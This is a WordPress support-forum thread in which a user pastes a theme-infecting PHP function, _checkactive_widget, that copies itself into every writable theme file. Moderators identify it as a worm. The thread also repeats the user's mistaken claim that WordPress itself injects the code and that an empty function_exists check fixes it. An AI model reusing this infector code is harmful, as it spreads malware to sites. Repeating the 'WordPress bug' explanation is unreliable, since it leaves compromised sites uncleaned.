WordPress.org

Ready to get started?Download WordPress

Forums

[resolved] [closed] Code getting automatically written to Functions.php (22 posts)

  1. MCM
    Member
    Posted 2 years ago #

    I have this weird situation whereby code gets written to my child themes, function.php.

    I am using Trim theme by Elegant Themes. I created a child theme.

    I then decided to create some functions in functions.php and works fine on my local machine.

    However, on uploaded if I activate/de-activate a plugin it causes a HTTP 500.

    I then checked the funtions.php file and found that a number of functions got written to it without my doing.

    I have removed plugins and stuff but still get it on my live website.

    Please, can anybody help me to resolve this?

  2. MCM
    Member
    Posted 2 years ago #

    Here is one of the functions

    <?php
    function _checkactive_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_getall_widgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$separar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $separar . "\n" .$widget);fclose($f);
    					$output .= ($showfullstop && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
  3. popper
    Member
    Posted 2 years ago #

  4. MCM
    Member
    Posted 2 years ago #

    It is not a worm etc. This is a PHP 5.4 issue. I updated my local machine from php 5.3 to 5.4 (as is with my hosting company) and I get these errors.

    Can somebody please advise.

    Fatal error: Cannot redeclare _checkactive_widget() (previously declared in wp-content\themes\trim-child\functions.php:12) in themes\Trim\functions.php on line 356

  5. esmi
    Forum Moderator
    Posted 2 years ago #

    Looks like you cannot re-use _checkactive_widget() in your child theme. I'm sorry but as the parent is a commercial theme, you need to seek further support from the theme's vendors.
    http://www.elegantthemes.com/forum/

  6. MCM
    Member
    Posted 2 years ago #

    Hi

    I get the SAME thing with ANY theme I use., including twentlyeleven. It is not a theme issue. It is a WP/PHP 5.4 issue.

    I have NO plugins installed.

  7. MCM
    Member
    Posted 2 years ago #

    MY functions.php file is empty or will only have one or two functions in that I use to have when using php 5.3. i.e. nothing has changed except PHP version.

  8. esmi
    Forum Moderator
    Posted 2 years ago #

    Then popper is correct. Your site has been hacked.

  9. MCM
    Member
    Posted 2 years ago #

    So both my local machine (which has nothing on but a "clean" copy of WP no plugins) and my hosting has been hacked?

    I have checked for all this and no signs of any hacking.

  10. MCM
    Member
    Posted 2 years ago #

    Steps:

    1. Installed xampp-win32-1.8.0-usb-lite-beta13
    2. New DB
    3. New Copy of WP
    4. CReated a child theme (style.css and 1x functions.php (NO CODE)
    5. Activated Child theme

    bang, and functions.php contains the code above.

    * NO PLUGINS installed/activated nothing.
    * No other themes etc nothing.

    You guys still convinced it is a bug?

  11. esmi
    Forum Moderator
    Posted 2 years ago #

    There is absolutely nothing in WordPress core that writes to a theme file. Nor should a theme write anything to one of its own files - let alone to files in other themes. The most likely cause is a worm or virus. and, yes, if your remote server was infected and you then copied something from it to your local server (or vice versa), then both could now be infected.

  12. popper
    Member
    Posted 2 years ago #

    Yes, this behaves like a worm. Also, the code you posted is pretty wormy.

  13. MCM
    Member
    Posted 2 years ago #

    I went through the pains of trying to figure this all out.

    Virus/Worm spoke with ISP etc, NOTHING.

    Then I found I just needed to add this line of code to the functions.php file and all is well.

    if (!function_exists('_checkactive_widgets')) {
    	// do nothing
    }

    Now, is this definitely not a WordPress issue?

    The following is from this link

    http://museumthemes.com/wordpress/fixed-redeclare-checkactivewidgets-error-wordpress-child-themes/

    "WordPress will add the check for widgets to your functions.php (if it exists) no matter what unless you explicitly tell it not to. If you really wanted to, you could change the permissions of your functions.php and make it read-only, although I don't know off the top of my head how that might affect the functionality of your theme. If there is no functions.php in your child theme, you don't need to worry, but if you're going to add your own custom functions (and, let's face it, that's probably 99% of the reason we want to build child themes, right?), you'll need to add some method for handling WordPress automatically trying to add in the active widgets check. Based on what information they have in the Codex on Child Themes, the most correct way of dealing with this issue is just to say "if this function exists already, don't do anything" and that will prevent WordPress from duplicating your code."

  14. Then I found I just needed to add this line of code to the functions.php file and all is well.

    ...

    Now, is this definitely not a WordPress issue?

    No, it's definitively not a WordPress issue.

    That's just good coding practice. You should check if a function exists before you use it especially if it's not a built in function.

  15. MCM
    Member
    Posted 2 years ago #

    Site is clean, 3 plugins, 2 themes. I cannot locate a function (SEARCH in all files for _checkactive_widgets ) throughout the website.

  16. This conversation sure has gotten derailed. Let's see if we can bring it back. ;)

    I have this weird situation whereby code gets written to my child themes, function.php.

    From your posts, it's not really clear if code is actually being added but if any files are being updated and it's not you that's updating them, then your site is hacked. Plain and simple, no if, ands, or buts.

    See above for steps to remedy that.

    I am using Trim theme by Elegant Themes. I created a child theme.

    Regarding that link you posted just above: as Esmi indicated you really want to speak to your theme vendor about how to child one of their themes.

    http://www.elegantthemes.com/forum/

    http://codex.wordpress.org/Child_Themes

    The child theme's functions.php file gets executed before the parent theme does. If you want to use a function from the parent theme then you either need to defined it first (and possibly break he parent theme's functions.php if it's not prepared for that) or figure out a way to filter that function via a queued up filter or action.

    By queuing up the filter or action late enough then it will happen after the parent functions.php file is ran and all is right in the world. That's not a trivial thing to do if you don't know how, and not all parent themes make that doable.

    It looks like you're trying to use a parent theme function in your child theme from a commercial parent theme. If that's the case, then use the vendor for support. It's part of what you paid for.

  17. BestMaine
    Member
    Posted 1 year ago #

    I am have the same exact problem on my site. What is the best way to recover from being infected? Does the whole website folder need to be deleted, then installed again or just wp-content ?
    Thank you

  18. MCM
    Member
    Posted 1 year ago #

    I have never figured this out but I have used the following line of code and since which I have no problems.

    /* DREADED "WORM" ISSUE */
    if (!function_exists('_checkactive_widgets')) {// do nothing
    }
  19. MCM
    Member
    Posted 1 year ago #

    I think my hosting company may have been the problem. I use the same local dev environment and my new hosting company I do not get any problems.

  20. sharulhafiz
    Member
    Posted 1 year ago #

    I'm renting a dedicated server, and this thing happen to me. If anyone know what exactly cause this, please let me know.

  21. sushovan24
    Member
    Posted 1 year ago #

    hey guys having a problem :'(
    whenever i tried to post my bidvertiser code or clicksor code they are not being displayed....bidvertisercode is automatically replaced by their toolbar code and in case of clicksor or chitika the <script> section is vanished automatically ........how can i fix it those codes was banners of add of 400/60 px

  22. esmi
    Forum Moderator
    Posted 1 year ago #

    @sushovan24: As per the Forum Welcome, please post your own topic. Posting in an existing topic prevents us from being able to track issues by topic. Added to which, your problem - despite any similarity in symptoms - is likely to be completely different.

Topic Closed

This topic has been closed to new replies.

About this Topic